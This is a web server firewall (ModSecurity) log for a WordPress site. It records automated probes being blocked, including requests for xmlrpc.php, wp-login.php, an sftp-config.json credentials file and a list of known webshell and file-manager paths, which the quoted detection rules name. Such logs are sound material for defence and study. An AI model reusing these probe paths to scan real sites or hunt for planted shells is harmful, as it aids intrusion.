[Mon Apr 13 20:32:11.409863 2026] [:error] [pid 57183:tid 57207] [client 143.105.152.210:29444] [client 143.105.152.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.152.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adziSzDO3t8R5NaxzYQ5hwAAAVY"]
[Mon Apr 13 20:35:15.418998 2026] [:error] [pid 63406:tid 63425] [client 137.74.43.174:51134] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzjA7HZEIkQ0Zmgp5qn0wAAAM4"]
[Mon Apr 13 20:36:46.861558 2026] [:error] [pid 9314:tid 9340] [client 144.76.199.240:58546] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzjXm_r4W8fX2GWyGQXEgAAAZg"]
[Mon Apr 13 20:40:37.037025 2026] [:error] [pid 63406:tid 63427] [client 103.77.107.178:62471] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "adzkRbHZEIkQ0Zmgp5qqmQAAANA"]
[Mon Apr 13 20:44:46.333879 2026] [:error] [pid 9314:tid 9336] [client 54.37.239.214:59854] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzlPm_r4W8fX2GWyGQaNQAAAZQ"]
[Mon Apr 13 20:49:39.977489 2026] [:error] [pid 63310:tid 63353] [client 51.83.154.40:59134] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzmY3oXpRU5ztmwPjJauQAAAEk"]
[Mon Apr 13 20:52:08.938026 2026] [:error] [pid 9314:tid 9328] [client 170.106.161.78:58320] [client 170.106.161.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adzm-G_r4W8fX2GWyGQcwQAAAYw"]
[Mon Apr 13 20:59:46.053368 2026] [:error] [pid 7228:tid 7230] [client 146.59.232.195:52212] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzowgEnn1dQrOSHHNWb5QAAAQA"]
[Mon Apr 13 21:05:36.898728 2026] [:error] [pid 7228:tid 7242] [client 217.61.143.66:37516] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzqIAEnn1dQrOSHHNWd1AAAAQw"]
[Mon Apr 13 21:06:28.485744 2026] [:error] [pid 9314:tid 9327] [client 168.119.6.33:38130] [client 168.119.6.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.6.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzqVG_r4W8fX2GWyGQjfgAAAYs"]
[Mon Apr 13 21:07:52.956304 2026] [:error] [pid 63310:tid 63355] [client 150.95.26.37:60225] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzqqHoXpRU5ztmwPjJfDwAAAEs"]
[Mon Apr 13 21:14:47.486013 2026] [:error] [pid 63406:tid 63424] [client 185.92.25.1:64453] [client 185.92.25.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adzsR7HZEIkQ0Zmgp5rCqQAAAM0"]
[Mon Apr 13 21:14:53.176817 2026] [:error] [pid 63309:tid 63336] [client 91.230.225.62:55597] [client 91.230.225.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adzsTUpIKZ10weXpf0UvGgAAABc"]
[Mon Apr 13 21:15:02.331834 2026] [:error] [pid 63406:tid 63433] [client 185.192.71.97:31967] [client 185.192.71.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adzsVrHZEIkQ0Zmgp5rCywAAANY"]
[Mon Apr 13 21:15:07.627275 2026] [:error] [pid 63406:tid 63424] [client 91.230.225.58:36349] [client 91.230.225.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "adzsW7HZEIkQ0Zmgp5rC5QAAAM0"]
[Mon Apr 13 21:15:16.308489 2026] [:error] [pid 9314:tid 9318] [client 91.230.225.251:38719] [client 91.230.225.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adzsZG_r4W8fX2GWyGQocgAAAYI"]
[Mon Apr 13 21:15:19.311468 2026] [:error] [pid 63406:tid 63432] [client 91.230.225.247:27951] [client 91.230.225.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adzsZ7HZEIkQ0Zmgp5rDCwAAANU"]
[Mon Apr 13 21:15:21.635895 2026] [:error] [pid 63310:tid 63353] [client 185.92.25.3:55017] [client 185.92.25.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adzsaXoXpRU5ztmwPjJhHAAAAEk"]
[Mon Apr 13 21:15:22.499158 2026] [:error] [pid 9314:tid 9337] [client 91.230.225.64:49693] [client 91.230.225.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adzsam_r4W8fX2GWyGQoeQAAAZU"]
[Mon Apr 13 21:15:23.535530 2026] [:error] [pid 63309:tid 63319] [client 91.230.225.247:50859] [client 91.230.225.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adzsa0pIKZ10weXpf0UvKAAAAAY"]
[Mon Apr 13 21:15:24.779019 2026] [:error] [pid 63311:tid 63376] [client 91.230.225.241:49759] [client 91.230.225.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adzsbKHjrGN1MqBCVFkK1AAAAIU"]
[Mon Apr 13 21:15:28.139765 2026] [:error] [pid 63309:tid 63319] [client 185.92.25.1:27841] [client 185.92.25.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adzscEpIKZ10weXpf0UvNgAAAAY"]
[Mon Apr 13 21:15:31.349936 2026] [:error] [pid 7228:tid 7240] [client 185.92.25.1:39573] [client 185.92.25.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "adzscwEnn1dQrOSHHNWheAAAAQo"]
[Mon Apr 13 21:15:34.834041 2026] [:error] [pid 63310:tid 63344] [client 185.192.71.92:49663] [client 185.192.71.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adzsdnoXpRU5ztmwPjJhLQAAAEA"]
[Mon Apr 13 21:15:36.991410 2026] [:error] [pid 63310:tid 63345] [client 185.192.71.89:36309] [client 185.192.71.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adzseHoXpRU5ztmwPjJhNwAAAEE"]
[Mon Apr 13 21:15:39.401614 2026] [:error] [pid 63311:tid 63394] [client 185.192.71.99:32143] [client 185.192.71.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adzse6HjrGN1MqBCVFkK5QAAAJc"]
[Mon Apr 13 21:15:48.622303 2026] [:error] [pid 9314:tid 9340] [client 185.192.71.100:38177] [client 185.192.71.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adzshG_r4W8fX2GWyGQoqAAAAZg"]
[Mon Apr 13 21:15:50.860390 2026] [:error] [pid 63406:tid 63430] [client 91.230.225.56:60675] [client 91.230.225.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adzshrHZEIkQ0Zmgp5rDXgAAANM"]
[Mon Apr 13 21:15:54.556728 2026] [:error] [pid 63311:tid 63373] [client 185.192.71.93:50523] [client 185.192.71.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "adzsiqHjrGN1MqBCVFkK_gAAAII"]
[Mon Apr 13 21:15:57.206899 2026] [:error] [pid 63309:tid 63321] [client 91.230.225.251:58227] [client 91.230.225.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "adzsjUpIKZ10weXpf0UvXQAAAAg"]
[Mon Apr 13 21:16:04.924915 2026] [:error] [pid 63310:tid 63358] [client 91.230.225.67:36333] [client 91.230.225.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adzslHoXpRU5ztmwPjJhSQAAAE4"]
[Mon Apr 13 21:16:07.496983 2026] [:error] [pid 9314:tid 9321] [client 185.92.25.2:65519] [client 185.92.25.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adzsl2_r4W8fX2GWyGQoxwAAAYU"]
[Mon Apr 13 21:16:09.962194 2026] [:error] [pid 9314:tid 9340] [client 185.192.71.97:44001] [client 185.192.71.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "adzsmW_r4W8fX2GWyGQozAAAAZg"]
[Mon Apr 13 21:16:10.809876 2026] [:error] [pid 7228:tid 7247] [client 91.230.225.242:29431] [client 91.230.225.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adzsmgEnn1dQrOSHHNWhtQAAARE"]
[Mon Apr 13 21:16:11.421555 2026] [:error] [pid 63310:tid 63344] [client 185.192.71.88:62681] [client 185.192.71.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "adzsm3oXpRU5ztmwPjJhUQAAAEA"]
[Mon Apr 13 21:16:16.146031 2026] [:error] [pid 7228:tid 7253] [client 185.192.71.84:48197] [client 185.192.71.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "adzsoAEnn1dQrOSHHNWhzQAAARc"]
[Mon Apr 13 21:16:16.911005 2026] [:error] [pid 9314:tid 9335] [client 185.192.71.90:59733] [client 185.192.71.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "adzsoG_r4W8fX2GWyGQo5gAAAZM"]
[Mon Apr 13 21:16:17.475159 2026] [:error] [pid 63406:tid 63427] [client 185.92.25.3:56579] [client 185.92.25.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "adzsobHZEIkQ0Zmgp5rDngAAANA"]
[Mon Apr 13 21:16:29.124930 2026] [:error] [pid 63406:tid 63413] [client 91.230.225.64:40661] [client 91.230.225.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "adzsrbHZEIkQ0Zmgp5rD9QAAAMI"]
[Mon Apr 13 21:16:37.080518 2026] [:error] [pid 63406:tid 63415] [client 185.192.71.84:44691] [client 185.192.71.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.84, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adzstbHZEIkQ0Zmgp5rEEQAAAMQ"]
[Mon Apr 13 21:16:51.535971 2026] [:error] [pid 63406:tid 63412] [client 185.192.71.84:44691] [client 185.192.71.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adzsw7HZEIkQ0Zmgp5rEMgAAAME"]
[Mon Apr 13 21:16:55.068773 2026] [:error] [pid 63311:tid 63377] [client 185.192.71.81:48417] [client 185.192.71.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.81, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adzsx6HjrGN1MqBCVFkLPwAAAIY"]
[Mon Apr 13 21:16:57.612168 2026] [:error] [pid 63311:tid 63395] [client 185.192.71.81:48417] [client 185.192.71.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "adzsyaHjrGN1MqBCVFkLQgAAAJg"]
[Mon Apr 13 21:17:11.051506 2026] [:error] [pid 63406:tid 63424] [client 185.192.71.96:65045] [client 185.192.71.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adzs17HZEIkQ0Zmgp5rEjwAAAM0"]
[Mon Apr 13 21:17:29.391883 2026] [:error] [pid 57183:tid 57196] [client 91.230.225.244:26177] [client 91.230.225.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adzs6TDO3t8R5NaxzYRRNwAAAUs"]
[Mon Apr 13 21:17:32.868860 2026] [:error] [pid 63406:tid 63435] [client 185.192.71.95:63561] [client 185.192.71.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adzs7LHZEIkQ0Zmgp5rEsQAAANg"]
[Mon Apr 13 21:17:38.551154 2026] [:error] [pid 63310:tid 63361] [client 91.230.225.59:52643] [client 91.230.225.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.59, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "adzs8noXpRU5ztmwPjJhogAAAFE"]
[Mon Apr 13 21:17:39.673581 2026] [:error] [pid 63310:tid 63362] [client 91.230.225.59:52643] [client 91.230.225.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adzs83oXpRU5ztmwPjJhpQAAAFI"]
[Mon Apr 13 21:18:08.444705 2026] [:error] [pid 57183:tid 57191] [client 185.192.71.83:22521] [client 185.192.71.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adztEDDO3t8R5NaxzYRRzgAAAUY"]
[Mon Apr 13 21:18:13.639070 2026] [:error] [pid 57183:tid 57206] [client 185.192.71.93:60667] [client 185.192.71.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.93, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adztFTDO3t8R5NaxzYRR4wAAAVU"]
[Mon Apr 13 21:18:18.510639 2026] [:error] [pid 57183:tid 57196] [client 185.192.71.93:60667] [client 185.192.71.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "adztGjDO3t8R5NaxzYRR9QAAAUs"]
